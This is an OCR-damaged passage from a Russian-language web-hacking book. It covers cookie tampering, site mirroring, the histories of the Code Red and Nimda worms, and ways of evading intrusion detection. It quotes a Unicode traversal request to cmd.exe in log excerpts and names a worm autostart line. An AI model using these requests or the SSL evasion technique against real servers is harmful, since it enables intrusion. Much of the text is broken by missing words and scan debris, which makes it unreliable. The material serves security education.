ASP сценарий обработает это огромное число и вернет броузеру информацию, как
показано на рис. 15.23.
Таким образом, манипулируя данными cookie, можно заставить сервер обработать
непредусмотренное значение, которое почти наверняка (при определенных стараниях)
будет некорректно обработано. Нетрудно представить, что последствия подобных зло
употреблений могут оказаться весьма серьезными. Можно задать еще большее значе
ние и попробовать добиться переполнения буфера, как показано на рис. 15.24.
Глава 15. Хакинг в Web: средства автоматизации
319
Welcome back!
Y o u have visited this Web page
1 time before!
15.20. Содержимое окна броузера
dent
Г
1
V"
NT
Host
Puc. 15.21. Диалоговое окно программы Achilles
320
Часть IV. Приемы фу в Web
ON
Fie
Г Intercept Sews
/welcome
Age*
NT 5.0)
Cookie:
15.22. Диалоговое окно программы Achilles после внесения
изменений
Б*
\
Welcome back!
1
Y o u have visited this Web page:
99999999 times before!
1
|
Puc. 15.23. Результаты выполнения
Глава 15. Хакинг в Web: средства автоматизации
error
Overflow:
line 8
15.24. Состояние переполнения буфера, достигнутое
с использованием данных cookie
Проиллюстрированное выше переполнение буфера само по себе не представляет
большой опасности, поскольку ошибка была обнаружена механизмом обработки кода
VBScript. В результате в окне броузера появилось сообщение об ошибке. Однако зло
умышленник может попробовать обойти этот механизм. Можно передавать различные
комбинации символов и попробовать найти способ взлома приложения или, что еще
хуже, самого Web сервера. Если в процессе разработки приложения проверке входных
данных не уделялось должного внимания, последствия не заставят себя долго ждать. В
рассмотренном примере в ASP сценарий следовало бы добавить специальную процеду
ру, которая обеспечивает обработку числовых данных только из заданного диапазона.
Teleport Pro
Утилита Teleport Pro для Windows --- один из лучших краулеров для Web, который
характеризуется высокой надежностью и большим быстродействием. Получая на входе
адрес URL, эта программа извлекает все файлы с указанного Web сервера и связан
ных с ним узлов. Причем для этого используется несколько потоков. Утилита проста в
использовании и позволяет скопировать на локальный компьютер образ всего Web
сервера (во всяком случае всю его "клиентскую" часть).
Как видно из рис. 15.25, Teleport Pro обладает понятным и хорошо продуманным
интерфейсом, с
которого можно быстро просмотреть всю структуру ката
логов и файлов целевого Web узла.
Среди современных
к числу которых относится и wget для
системы UNIX, можно выделить лишь несколько утилит, которые обладают большей
скоростью и лучшей управляемостью, чем Teleport Pro.
После получения образа Web узла можно проанализировать весь код клиентских
сценариев и попытаться найти в них различные изъяны.
1. Неудачные комментарии. В комментариях может содержаться конфиденциаль
ная информация, например названия подразделений компании или дополни
тельные номера телефонов. В полях комментариев одного из Web узлов авто
рам книги удалось обнаружить даже имена пользователей и пароли.
2. Выявление форм. Если злоумышленнику удастся найти на определенном Web
узле все страницы, в состав которых входят формы, он сможет реализовать
различные атаки, в том числе связанные с генерацией условия DoS (отказа в
обслуживании), подбором пароля "в лоб", а также недостаточной проверкой
входных данных.
322
Часть IV. Приемы фу в Web
3. Идентификация сценариев. Выявив страницы с клиентскими сценариями, хакер
сможет реализовать разнообразные атаки, связанные, в частности, с недоста
точной проверкой входных данных.
4. Идентификация
Обнаружив страницы с
Java, взломщик мо
жет прибегнуть к
каждого из них и поиску в полученном ис
ходном коде такой конфиденциальной информации, как пароли.
Предотвращение возможности получения образа всего Web узла является непростой
задачей. Именно поэтому злоумышленники могут воспользоваться одним из средств,
которые были описаны в данной главе, и попытаться осуществить реальную атаку.
:•••
ftervdocs/
i
i
frnanual/dso.htnJ
;I
•
Утилита
Pro в действии
Рекомендации по обеспечению
безопасности
Рекомендации, связанные с материалом данной главы, аналогичны тем, которые
уже неоднократно упоминались в этой книге.
1. Повышение надежности паролей. По всей вероятности, единственный урок, кото
рый можно извлечь из данной главы, --- это необходимость использования более
сложных паролей. Такая контрмера позволит противостоять как подбору паролей
"в лоб" (Whisker и Brutus), так и подмене сеансов (Achilles и Cookie Pal). Надеж
ные пароли --- это самое важное звено подсистемы обеспечения безопасности
любого Web узла. Пароли должны иметь длину не менее семи символов и состо
ять из цифр, букв и метасимволов, таких, как ?, 1,
и$.
Глава 15. Хакинг в Web: средства автоматизации
2. Ведение журналов регистрации событий системы и Web сервера. При
вании взломщиками таких средств, как Whisker и Brutus, в течение нескольких
секунд на Web сервер может обрушиться целая лавина попыток подбора паро
лей "в лоб". Такие попытки можно обнаружить лишь при регистрации собы
тий как на уровне самой системы, так и Web сервера.
3. Проверка входных данных. Как уже не раз отмечалось, разработчики сценариев
должны обеспечить проверку корректности данных, поступающих от пользовате
ля. Необходимо проверять тип передаваемых данных (integer, string и т.д.), а
также удалять из них любые нежелательные символы, в частности метасимволы.
Резюме
Рассмотренные в данной главе автоматизированные средства позволяют восполь
зоваться разнообразными приемами хакинга и оценить уровень защищенности
Web приложения. Они значительно упростили решение этой задачи, поскольку ра
нее все необходимые действия приходилось выполнять вручную. Воспользовавшись
приведенными выше рекомендациями, можно существенно повысить безопасность
системы и Web узла.
324
Часть Приемы фу в Web
ГЛАВА16
Все люди склонны совершать ошибки; во многих случаях этому со
блазну поддается большинство людей, которыми движет страсть
или выгода.
Джон
английский философ
Введение
год следовало бы назвать Годом Червя --- компьютерного червя. Вопреки
своему имени, компьютерный червь больше всего похож на самовоспроизводящийся
и поглощающий ресурсы вирус, который способен нанести серьезный урон даже са
мым крупным вычислительным системам. Определение, которое можно найти по ад
ресу
гласит:
Червь --- это программа (или алгоритм), которая воспроизводит себя через
компьютерную сеть и обычно выполняет такие вредоносные действия, как
истощение ресурсов компьютера и, возможно, завершение работы системы.
См. также вирус.
С тех пор как в 1988 году Роберт Таппан Моррис (Robert Tappan Morris) выпустил
на просторы Internet первый такой вирус,
необратимо изменилось.
Червь Morris, как его впоследствии стали называть, использовал "неконтролируемую
программную ошибку" и с успехом копировал себя в Internet, захватывая все больше
системных ресурсов и в конечном счете приводя к их истощению.
Как правило, вирус червь преследует единственную цель: вывести из строя ком
пьютерные системы. Однако он способен сделать значительно больше. Для тех, кто
занимается вопросами обеспечения безопасности в Internet в настоящее время, червь
Morris --- не более чем детская забава.
Червь Code Red
26 января 2000 года
На Web узле компании Microsoft был опубликован ничем не примечательный
бюллетень MSOO 006; он был разослан на разные узлы, на которых поддерживались
списки известных изъянов различных приложений (http://www .microsoft.com/te chnet/
Изъян назывался Malformed
Argument
и
о нем едва не
среди неиссякаемого потока со
общений об изъянах программных продуктов компании Microsoft.
18 июня 2001 года: первое нападение
Одна из групп хакеров опубликовала сообщение о том, что на серверах IIS можно
вызвать удаленное переполнение буфера. При корректном использовании такой воз
можности взломщик мог получить удаленный доступ в контексте учетной записи
SYSTEM к любому серверу, на котором был установлен этот программный продукт.
Другими словами, хакер мог получить полный контроль над целевой системой и вы
полнить на ней любые команды.
Виновником этого изъяна оказался
который обрабатывал запросы
к индексному серверу. Как правило, этот сервер обслуживает запросы, передавая
специально сформированный запрос GET с расширением
Группа хакеров смог
ла найти способ, позволяющий вызвать в данном фильтре переполнение буфера и
выполнить на удаленной системе произвольный код. По существу, эта группа под
твердила широкую распространенность изъяна, описываемого в документе MSOO 006,
который был опубликован на полтора года раньше.
326
Часть IV. Приемы фу в Web
В сообщении упоминалось также о том, что из за "широты натуры" переполнения
буфера необходимо применить другие методы, которые позволили бы в полной мере
воспользоваться обнаруженным изъяном. Была разработана так называемая техноло
гия впрыскивания в кучу (heap spraying), однако она оказалась ненадежной и неста
бильной. Предлагались и другие подходы, однако они также не получили широкого
распространения, поскольку после ознакомления с соответствующим документом
складывалось впечатление, что использование этого изъяна является слишком не
подъемной задачей. В результате на тот момент так и не были разработаны средства
переполнения буфера на сервере IIS, с помощью которых можно было бы организо
вать массированные атаки на общедоступные домены. Однако отдельные атаки все же
предпринимались. Но печальнее всего оказалось то, что большинство людей занимали
следующую позицию:
средства взлома --- нет угрозы".
июля 2001 года
От сетевых администраторов, которые столкнулись с многочисленными атаками,
основанными на изъяне
стали поступать сообщения и журналы реги
страции. Оказалось, что взломщики пользовались подходом, в рамках которого доступ
осуществлялся ко всей памяти. Это позволяло гораздо проще добиться переполнения
буфера. Подробный анализ журналов регистрации свидетельствовал о том, что стал
зарождаться новый червь.
Подробности
В то время мало что было известно как о самом изъяне, так и о связанной с ним
опасности, угрожающей Web серверам IIS. Однако более глубокий анализ ранее реа
лизованных атак заставил экспертов по безопасности всерьез заговорить о растущей
угрозе. Уже было известно о том, что это некоторая разновидность червя, но для сло
жения всей головоломки еще не было собрано достаточно информации. Было извест
но лишь следующее.
• Сначала с
переполнения буфера червь получал контроль над Web
сервером.
• Червь начинал процесс инфицирования с создания списка случайно сгенериро
ванных IP адресов. Ошибка в реализации этого кода привела к тому, что на са
мом деле эти адреса не были случайными. Разработчик кода использовал
данное начальное число, которое передавалось генератору случайных чисел. В ре
зультате каждый зараженный вирусом червем сервер генерировал один и тот же
список IP адресов. Поэтому одни и те же системы инфицировались многократно.
После инфицирования системы червь выполнял целый ряд действий.
• В зараженной системе настраивалось специфичное для червя рабочее окружение.
• Для самораспространения червь создавал
отдельных потоков.
• Первые 99 потоков использовались для инфицирования других Web серверов.
• В контексте 100 го процесса проверялось, установлена ли на сервере жертве
английская версия системы Windows NT/2000. Если такая проверка завершалась
успешно, червь принимался за модификацию содержимого Web сервера. Со
держимое индексной страницы локального Web сервера удалялось, а вместо
него вставлялся текст Welcome to
Hacked By
Ha
сервере модифицированная Web страница оставалась активной в течение деся
ти часов, а затем исчезала. Приведенное выше сообщение снова появлялось
лишь при повторном заражении.
Глава 16. Вирусы черви
327
• Если на сервере была установлена другая версия операционной системы, 100 й
поток использовался для дальнейшего распространения инфекции.
• В рамках каждого потока червь проверял наличие файла
Если этот
файл удавалось найти, червь переходил в пассивное состояние. В противном
случае поток по прежнему использовался для инфицирования других систем.
• В каждом потоке проверялись системные часы. Если текущая дата относилась
к последней декаде месяца (после 20 го числа), то поток использовался не
для дальнейшего распространения инфекции, а для нападения на узел
http://www.whitehouse.gov. С 20 го по 28 е число каждого месяца червь отправ
лял 100 Кбайт данных на Web узел Белого Дома. С учетом того, что точно так
же "поступали" и все другие инфицированные системы, на этом Web узле про
исходил отказ в обслуживании
• С 1 го по 19 е число каждого месяца червь "не обращал внимания" на Web
узел Белого Дома и продолжал дальнейшее инфицирование в обычном порядке.
К счастью, ошибка, допущенная в алгоритме генерации случайных чисел, факти
чески спасла мир от масштабного заражения. Некорректная реализация этого алго
ритма не позволила вирусу червю первого поколения достигнуть высокой эффектив
ности. К сожалению, вскоре нашлись желающие исправить эту ошибку.
Замечание: более полную информацию можно получить по адресу
июля 2001 года
Утром 19 июля стало известно, что новая версия вируса инфицирует все Web серверы
IIS, на которых не были установлены соответствующие модули обновления. При этом са
первая версия вируса, в которую было внесено одно небольшое, тем
не менее ключевое изменение: фиксированное начальное число, использовавшееся в пер
вом варианте генератора случайных чисел, бьшо заменено случайным. Теперь на каждом
инфицированном компьютере генерировался новый список случайных IP адресов. Это не
значительное изменение привело к невиданным последствиям. В течение первых 14 часов
"обновленный" вирус червь Code Red инфицировал более 359 тыс. компьютеров.
Поскольку программный код нового червя, по сути, совпадал с его первой версией
(кроме использования случайного начального числа), наносимый ущерб по прежнему
был связан с подменой Web страниц. Однако влияние червя на глобальную инфра
структуру оказалось гораздо более значительным, что объясняется большим количест
вом взломанных узлов, которые использовались для нападения на новые системы.
Червь распространялся и заражал компьютеры с такой скоростью, что многие из них
инфицировались повторно, хотя системные администраторы перезагружали систему
для установки модуля обновления, устраняющего изъян
Так, в одной из компа
ний за время восстановления ее системы и установки необходимых модулей обновле
ния вирулентность червя позволила ему повторно инфицировать эту же систему.
Начало было положено. Потребовалось совсем немного времени, чтобы о себе зая
вила следующая, еще более разрушительная разновидность червя.
4 августа 2001 года
http:
asp?ReleaseID=30833
В этот день стало известно о появлении совершенно новой модификации вируса.
Этот червь кардинально отличался от своих старших братьев. В исходном коде вируса
328
Часть IV. Приемы фу в Web
содержалась строка
что и определило его имя. Вирус действовал следую
щим образом.
• В первую очередь червь проверял, не был ли узел инфицирован ранее. Если
нет, то червь переходил в неактивное состояние.
• Червь проверял, установлен ли в системе китайский язык. Если этот язык был
установлен, то создавалось 600 потоков. Для "некитайских" систем создавалось
300 параллельных потоков.
• Червь активизировал потоки для своего распространения.
Ниже описана деструктивная логика новой версии червя.
• В первую очередь червь проверял системные часы локального узла. Если теку
щий год был меньше 2002 го, а месяц --- меньше 10 го, то вирус продолжал
свою разрушительную деятельность. Если дата не принадлежала к этому диапа
зону, то система перезагружалась.
• В черве CodeRed II был реализован усовершенствованный метод генерации
пробных IP адресов. Сначала генерировался случайный IP адрес. После этого
для выделения целевого адреса на него накладывалась маска. Один раз из вось
ми червь пытался инфицировать узел, которому соответствовал совершенно
случайный IP адрес. В половине всех атак использовались адреса из диапазона
класса А, к которому принадлежал и локальный адрес зараженного компьютера.
Три раза из восьми червь выбирал адреса из диапазона класса В, к которому
относился и локальный IP адрес.
• Если сгенерированный адрес совпадал с IP адресом локальной системы или
был широковещательным, то он пропускался и генерировался следующий. Ме
тод выбора адресов, реализованный в черве CodeRed II, позволял ему распро
страняться значительно быстрее, чем это удавалось червю Code Red.
По сравнению с предыдущими версиями вирусов деструктивная логика червя
CodeRed II оказалась гораздо более разрушительной, поскольку после заражения сис
темы вирус изменял привилегии, используемые удаленным администратором.
CodeRed II не "стремился" привести к отказу в обслуживании и не модифицировал
Web страницы. После заражения сервера любой желающий мог получить контроль
над ним. Для этого червем выполняется следующее.
1. Выбирается диск
2. Файл
копируется из системного каталога Windows в файлы \ine tpub\
и
3. В корневой каталог системы помещается файл explorer.exe, в который внедрен
специальный двоичный код.
4. Все предыдущие действия выполняются также для диска
Файл explorer.exe представляет собой "троянского коня". При его вызове выпол
няется ряд злонамеренных действий.
_
1. Осуществляется поиск локального каталога Windows.
2. Из локального системного каталога Windows запускается проводник.
3. "Троянский конь" отключает службу защиты системных файлов (Windows File
Protection).
4. Создается виртуальная папка Web с привязкой к каталогам С: и В результа
те в системе создается "потайной ход" (backdoor). Даже после удаления файла
root.exe сервер остается уязвимым для хакеров.
Глава 16. Вирусы черви
329
Червь Code Red вместе со всеми его разновидностями оказался самым "успеш
ным" вирусом в Internet. За три месяца этим трем червям удалось инфицировать оше
ломляющее количество компьютерных систем. Финансовые потери оценивались мил
лиардами долларов.
Червь Nimda
сентября 2001 года
От пользователей и администраторов хлынули потоки сообщений, в которых со
держались подробности нападений на их Web серверы. Кроме самих Web атак, в них
упоминались также подозрительные почтовые сообщения с вложенным аудиофайлом.
На первый взгляд складывалось впечатление, что все эти проблемы порождены новой
версией червя Code Red. Однако последующий анализ показал, что в сети появился
новый вирус червь.
Новый червь, получивший официальное название W32/Nimda A или просто
Nimda, был предназначен для инфицирования систем Win 9x, NT и Windows 2000.
Для своего распространения и инфицирования компьютеров червь Nimda использовал
сразу несколько возможностей.
1. Через электронную почту: Outlook. Для инфицирования передается почтовое со
общение с вложением
которое имеет тип audio/x wav. Если это со
общение принято с использованием уязвимого почтового клиента, то при его
предварительном просмотре файл readrae.exe автоматически выполняется без
согласия пользователя. При этом может быть указана произвольная тема со
общения и ложный электронный адрес отправителя.
2. Через Web: IIS. Червь выполняет поиск Web серверов с потайным ходом
root.exe, установленным ранее вирусом CodeRed II. В качестве других методов
проникновения могут использоваться изъяны Unicode (CVE 2000 0884) и
двойного декодирования (CVE 2001 0333). Обе ошибки связаны непосредст
венно с Web сервером IIS компании Microsoft.
3.
Червь добавляет код во все
HTML и
содержа
щиеся на инфицированном сервере. В результате могут
инфицированы все
узлы, с которых пользователи обращались к этим инфицированным страницам.
Совместно используемые сетевые
---
червь Nimda может распространяться также через
неправильно сконфигурированные или
незащищенные сетевые
Подробности
По электронной почте передаются сообщения с вложением readme.exe. Пользу
ясь изъянами некоторых версий Internet Explorer и почтового клиента Outlook, этот
исполняемый файл запускается автоматически без участия пользователя. Червь
Nimda делает этот файл скрытым и копирует его в корневой каталог системы под
именами load.exe и riched32.dll. Затем червь пытается "распространить" себя через
совместно используемые сетевые ресурсы. В файл
добавляется строка
shell=explorer.exe
330
Часть IV. Приемы фу в Web
После этого вирус будет активизироваться при загрузке системы.
Целевые почтовые адреса извлекаются из адресной книги, почтовых ящиков, а
также
Затем вирус пересылается по обнаруженным адресам.
Жертвами червя становятся Web серверы IIS, в которых присутствует изъян Unicode,
а также потайной ход, созданный ранее вирусом Code Red II.
Получив контроль над уязвимым сервером IIS, червь использует протокол
для доставки нужного кода с атакующего узла на узел жертву. Передаваемый файл на
зывается
В нем содержится код на языке JavaScript, который загружает
файл
а затем добавляет его содержимое в
HTM и HTML файлы.
Если к такому узлу обращается пользователь с незащищенной версией Internet Ex
plorer, файл загружается и вирус продолжает дальнейшее распространение.
И наконец, распространяясь в незащищенных сетях, вирус создает файлы с рас
ширениями
и
которые аналогичны файлу
Не вызывает сомнения тот факт, что широкомасштабная эпидемия
оказа
лось возможной из за использования этим вирусом разнообразных способов распро
странения. После того как были выявлены изъяны, которые использовались червем,
стала понятна и реальная причина его успешного распространения: не были устране
ны известные изъяны и не были установлены необходимые модули обновления. В
идеале всех этих потерь можно было избежать, если бы пользователи и администрато
ры применили соответствующие меры защиты. Безусловно, современный мир весьма
далек от совершенства, и в будущем черви продолжат свое победное шествие. Если
завтрашний червь воспользуется неизвестными изъянами, средств защиты от которых
еще не существует, то он может привести к полному хаосу и вызвать серьезные нару
шения в работе интерактивных служб.
Еще несколько замечаний
Хотя ущерб, нанесенный червями Code Red и Nimda, был ошеломляющим, потери
могли оказаться гораздо больше. Так, например, жертвами нападения червя Code Red
стали только серверы IIS5, тогда как изъян существовал и в серверах IIS4. Анализ
изъяна
проведенный авторами этой книги, свидетельствует о том, что исполняе
мый код без проблем можно использовать и на серверах IIS4. Если бы разрушитель
ная
червя Code Red была нацелена на оба сервера, IIS5 и IIS4, то последствия
могли бы стать настоящей катастрофой. К сожалению, вполне вероятно, что в буду
щем появится новый и более опасный вариант червя Code Red.
По данным списка
серверы Apache занимают 56%,
а серверы Microsoft --- 30% рынка Web серверов. Серверы IIS компании Microsoft --- это
вполне очевидная цель для нападения, особенно с учетом истории обнаруженных изъя
нов и недоступности его исходного кода. Сервер IIS скрывает в себе еще много неиз
вестного. Вполне очевидно, что со временем в нем будут выявлены новые бреши в под
системе защиты. Тем не менее/ следует заметить, что, если бы аналогичный изъян был
обнаружен в Web сервере Apache, катастрофа оказалась бы не менее масштабной.
Реакция и контрмеры
Одной из главных причин некоторой контролируемости распространения червя
Code Red стали независимые исследования его кода, проведенные различными спе
циалистами по вопросам безопасности. Им удалось проанализировать логику, по
ложенную в основу реализации червя, и выделить те его свойства, с которыми свя
зана наибольшая угроза. Web узлу Белого Дома удалось избежать опасности благо
даря своевременной помощи аналитиков.
Глава 16. Вирусы черви
Первый шаг в понимании нового червя --- дизассемблирование его двоичного кода
и идентификация его поведения. Достаточно внести небольшие изменения, чтобы аг
рессия обрела новые, более устрашающие очертания, а у червя появилась временная
свобода действий.
Черви, которые появятся в будущем, будут написаны исключительно на языке ас
семблера, а также будут содержать полиморфные процедуры, антиотладочную защиту
и сложный для трассировки код. Представьте себе тщательно спроектированного чер
вя, который может распространяться на нескольких платформах и использовать неиз
вестные изъяны двух доминирующих сегодня Web серверов --- Apache и IIS.
Все это обязательно случится. Это всего лишь вопрос времени. Отсчет уже начался.
Резюме
Сегодняшняя Internet --- это уже совершенно другой мир по сравнению с тем, ка
ким он был всего лишь несколько лет назад. Это настоящее поле компьютерных бата
лий. Открытость Internet только способствует заражению. Черви и вирусы стали на
стоящим бедствием Internet и вряд ли исчезнут в ближайшем будущем. Вполне веро
ятно, что современные черви будут казаться "игрушками" на фоне тех вирусов, с
которыми киберсообществу придется столкнуться в ближайшие годы. Поэтому, чтобы
предотвратить успешность таких атак, необходимо сохранять бдительность.
332
Часть IV. Приемы фу в Web
ГЛАВА17 IDS
Свойство
бомбардировщика В 2 обеспечивает его
уникальную способность проникать сквозь самые совершенные сис
темы защиты противника и создавать угрозу для его наиболее важ
ных и тщательно обороняемых целей.
Из списка тактико технических характеристик бомбардировщика
В 2
Сил США
Введение
Современные методы ведения военных действий позволяют осуществлять молние
носные атаки. Способность пресечения и отражения нападения во многом зависит от
того, насколько быстро и своевременно его удалось обнаружить. Для выявления лю
бой враждебной деятельности используются радиолокационные
спутники
и другие системы мониторинга и наблюдений. Однако даже в реальных боевых усло
виях обнаружение атак не достигает
точности. Иракские войска использо
вали выполненные в натуральную величину картонные макеты советских танков Т 72,
которые на спутниковых снимках воспринимались союзническими силами как на
стоящие машины.
Системы выявления вторжений (Intrusion Detection Systems --- IDS) для компью
терных сетей во многом функционируют точно так же, как и аналогичные системы,
используемые военными. Контролируются все действия, и лишь затем принимается
решение об их "злонамеренности".
В этой главе речь пойдет о том, как системы выявления вторжений могут исполь
зоваться для обнаружения Web атак и как можно организовать некоторые Web атаки,
чтобы с успехом обойти системы IDS.
Общие сведения о системах IDS
Системы выявления вторжений (IDS) предназначены для выявления атак и уведом
ления о них в реальном времени. Традиционная система IDS, в которой не используют
ся
процедуры анализа, состоит из трех функциональных элементов ---
модуля мониторинга, модуля логического вывода и модуля оповещения. Модуль мони
торинга собирает данные о текущей деятельности (в большинстве случаев эти данные
характеризуют сетевой трафик). Поскольку в книге рассматриваются Web атаки, основ
ное внимание уделяется только тем из них, которые выполняются по сети, а не ини
циируются в самой целевой системе. Данные, собранные модулем мониторинга, затем
передаются модулю логического вывода. Этот модуль анализирует полученные данные и
определяет, порождены они нормальными или злонамеренными действиями. С каждой
атакой связана характерная для нее сигнатура --- шаблон, по которому эту атаку можно
распознать и классифицировать. Для выявления атак в большинстве систем IDS (как
коммерческих, так и с открытым исходным кодом) используются именно сигнатуры.
После обнаружения атаки модуль оповещения генерирует ответ, основанный на кон
фигурационных параметрах самой системы. Реакция системы может быть либо пассив
ной, либо активной. Если в качестве ответного действия IDS направляет предупреж
дающее сообщение на консоль администратора или добавляет запись в системный жур
нал, то это пассивная реакция. Активная реакция может быть связана с передачей
брандмауэру сообщения о необходимости блокирования
трафика, иницииро
ванного взломщиком. В зависимости от размещения IDS можно разделить на две кате
гории: сетевые и
(функционирующие на отдельных
Сетевые IDS
системы выявления вторжений --- это специализированные системы, раз
мещаемые непосредственно в сегменте сети и используемые для обнаружения атак, на
правленных на любой узел этой
Одна сетевая IDS может осуществлять мониторинг
334
Часть IV. Приемы фу в Web
нескольких сетевых сегментов и предоставлять обобщенные отчеты об атаках, зафик
сированных в рамках этих сегментов. При этом перехватываются и анализируются все
данные, передаваемые в сети. Для решения этой задачи сетевая система выявления
вторжений должна обладать очень высоким быстродействием и как можно меньше
снижать пропускную способность сетевых каналов связи.
К числу популярных сетевых IDS относятся такие коммерческие программные
продукты, как RealSecure от компании ISS (http://www.iss.net/products services/
и SecureNet от компании Intrusion, Inc.
а также програм
мы, разработанные в рамках модели открытого кода, например Snort
IDS
системы используются на том компьютере, мониторинг которого осуще
ствляется. Они отслеживают только те данные, которые поступают извне или переда
ются на данный узел. Помимо анализа сетевого трафика и обнаружения внешних
атак, для идентификации несанкционированных действий IDS на уровне узла позво
ляют также выполнять мониторинг других системных параметров, таких, как запу
щенные процессы, доступ к файловой системе и ее целостность, а также события ре
гистрации пользователей.
К популярным IDS уровня узла относятся
Defender от компании ISS
и Port
Sentryоткомпании (http://www.psionic.com/products/portsentry.html).
Каждая система выявления вторжений имеет свои достоинства и недостатки, одна
ко при обнаружения Web атак сетевые IDS и системы, установленные на отдельных
узлах, демонстрируют примерно одинаковую эффективность.
Точность IDS
Одна из ключевых проблем, связанных с системами выявления вторжения, --- необ
ходимость обеспечить достаточно высокую точность предоставляемых ими результатов.
Ошибки IDS бывают двух типов: ложное срабатывание (fake positive) и несрабатывание
в случае атаки (false negative). Ложное срабатывание происходит в том случае, если
обычные действия расцениваются системой как атака, хотя на самом деле это совсем не
так. Вторая ошибка возникает из за того, что реальная атака остается незамеченной. С
точки зрения возникающего риска более опасным считается второй случай. Система
пропустившая хотя бы одно нападение, может оказаться абсолютно неэффектив
ной, поскольку для успешного достижения поставленной цели
зачастую тре
буется реализовать лишь одну атаку, ущерб от которой будет колоссальным. Ложное
срабатывание может вызывать лишь раздражение, причем его степень зависит от объема
действий, которые при этом необходимо выполнять. Однажды сетевая система выявле
ния вторжений начала отправлять огромное число предупреждений, когда авторы этой
книги загружали исходный код утилиты взлома с общедоступного Web узла архивов.
IDS "решила", что на этом архивном узле каждый фрагмент кода является враждебным.
Устранить эту проблему оказалось довольно легко. Другая крайность связана с тем, что
при получении лавины ложных предупреждений системные администраторы просто от
ключают IDS, что потенциально может привести к катастрофе.
Идеальной системы выявления вторжений, которая обеспечила бы отсутствие
ложных срабатываний и идентификацию всех атак, не существует. Когда Web хакеру
Глава 17. Обход систем IDS
335
требуется прорваться через IDS, он может либо замаскировать атаку, тем самым обес
печив ее незаметность, либо с помощью автоматизированных средств сгенерировать
сотни ложных срабатываний, которые будут фиксироваться в журналах IDS.
Обход систем IDS
Чтобы передать вредоносные данные и остаться незамеченным системой выявле
ния вторжений,
должен изучить основные принципы ее функционирова
ния и выявить изъяны каждого из ее компонентов. Работа любой IDS основана на
использовании анализатора сетевых пакетов и модуля анализа сигнатур. Простейший
их обхода заключается в передаче зашифрованных данных, декодируемых в
той точке, на которую нацелена атака. О чем еще может мечтать Web взломщик, если
существует протокол SSL! Основанные на SSL Web атаки сводят на нет усилия прак
тически всех сетевых систем выявления вторжений.
Другой способ обмана анализатора пакетов IDS связан с передачей данных в про
извольно чередующихся фрагментах. Если фрагменты поступают в произвольном по
то IDS придется потратить некоторое время, чтобы снова собрать всю последо
вательность, прежде чем данные можно будет передать модулю анализа сигнатур. Для
фрагментации данных, используемых при реализации атаки, и передачи их на целе
вую систему в произвольном порядке могут пригодиться такие программы, как
fragrouter(http://packetstormsecurity.Org/UNIX/IDS/fragrouter l.6.tar.gz). Однако сле
дует заметить, что большинство современных IDS выполняют сборку фрагментов и
вполне справляются с решением этой проблемы.
Последний, и порой наиболее эффективный, способ обхода IDS заключается в гене
рации строк, характеризующих атаку, которые вводили бы модуль анализа сигнатур в
заблуждение. Лишь немногие средства переполнения буфера основаны на полиморфном
коде, который обеспечивает, чтобы никакие две сигнатуры не совпадали друг с другом.
Полиморфный код может показаться чем то из области космических технологий, одна
ко в мире Web хакеров механизм анализа сигнатур можно обойти без каких бы то ни
было проблем. Такой подход позволяет взломщику изменять адреса URL и HTTP
запросы таким образом, чтобы они каждый раз выглядели иначе, но позволяли бы вы
полнять прежнюю задачу. Более подробно эти методы рассматриваются ниже.
"Безопасный" хакинг --- атаки
с использованием протокола SSL
Как правило, в приложениях электронной коммерции конфиденциальные данные
передаются с использованием протокола SSL. На его основе между Web броузером и
Web сервером устанавливается зашифрованное соединение, в рамках которого пере
даваемые данные защищены от прослушивания. При разработке протокола SSL пре
следовалась единственная цель: обеспечить невозможность перехвата пакетов с помо
щью сетевых анализаторов пакетов. С использованием этих средств злоумышленники
извлекают из передаваемых данных конфиденциальную информацию.
Для выявления вторжений протокол SSL является единственным существенным
препятствием. В большинстве систем IDS для сбора данных о сетевой деятельности
используются средства анализа пакетов. Если передаваемые данные зашифрованы, то
их анализ и проверку на "благонадежность" выполнить уже невозможно. Все IDS, ра
бота которых основана на анализе сетевых пакетов, "не замечают" атаки на базе
Это продемонстрировано на рис. 17.1.
336
Часть IV. Приемы фу в Web
IDS
HTTP
Web клиент
Web
сервер
Web клиент
Рис. 17.1. Обход IDS с использованием протокола SSL
Пример
Чтобы проиллюстрировать "возможности" IDS по выявлению атак, основанных на
использовании протокола SSL, рассмотрим пример такой атаки на узел под управле
нием Windows, на котором установлен также Web сервер IIS 4.O. В рамках примера
рассматривается
сетевая конфигурация.
• Сервер IIS прослушивает порты 80 и 443 узла
• Система выявления вторжений Snort запущена на узле webspy, прослушиваю
щем тот же сетевой сегмент, в котором находится и узел
• Взломщик 1 располагается на узле*
• Взломщик #2 располагается на узле
,
За время между 9:46 P.M. и 9:53 P.M. против узла
было инициирова
но четыре атаки: две атаки MDAC RDS с узла
и две атаки Unicode
с
узла10.0.0.2.
Время
Хакер
Использование SSL Используемый адрес
P.M. 10.0.0.1 Нет
P.M. 10.0.0.2 Нет
winnt/system32/cmd.exe?/c+set
Да
10.0.0.1
9:49 P.M.
Глава 17. Обход систем IDS
337
Время
Хакер
Использование SSL Используемый адрес
P.M. 10.0.0.2 Да
Просмотрев регистрационный журнал сервера IIS, установленного на узле
можно увидеть, что были зарегистрированы все четыре запроса. Эти за
писи приведены ниже.
2002 04 22 21:46:44 10.0.0.1 192.168.7.203 80 GET
200
2002 04 22 21:47:19 10.0.0.2 192.168.7.203 80 GET
/c+set 502
2002 04 22 21:49:01 10.0.0.1 192.168.7.203 443 GET /msadc/msadcs.dll 200
+
2002 04 22 21:53:32 10.0.0.2 192.168.7.203 443 GET
/c+set 502
А в журналах системы Snort, запущенной на узле
содержится только две
записи.
Apr 22 21:42:20 webspy
[1:1023:3] WEB US msadc/msadcs.dll access
[Classification: access to a potentially vulnerable Web application] [Priority:
10.0.0.1:2597 > 192.168.7.203:80
Apr 22 21:42:53 webspy
[102:1:1] spp http decode: IIS Unicode attack
detected
10.0.0.2:1729 >
Две атаки через протокол SSL остались вне поля зрения IDS! Следовательно, если
взломщик решит проникнуть на узел 192.168.7.203 с помощью протокола SSL, то это
останется незамеченным.
Туннелирование атак посредством
протокола SSL
Для реализации HTTP атак с использованием протокола SSL можно без проблем
воспользоваться броузером. Для этого достаточно указать в адресе URL префикс
https, а не http. Далее броузер сам позаботится о согласовании параметров SSL сеанса
и шифровании данных. Однако, если для реализации атаки взломщику нужно вос
пользоваться сценарием или утилитой, в которых отсутствует встроенная поддержка
протокола SSL, придется прибегнуть к
Этот метод подразумева
ет использование специальной программы, которая прослушивает порт 80 и при по
ступлении на него стандартных HTTP запросов передает их через зашифрованное
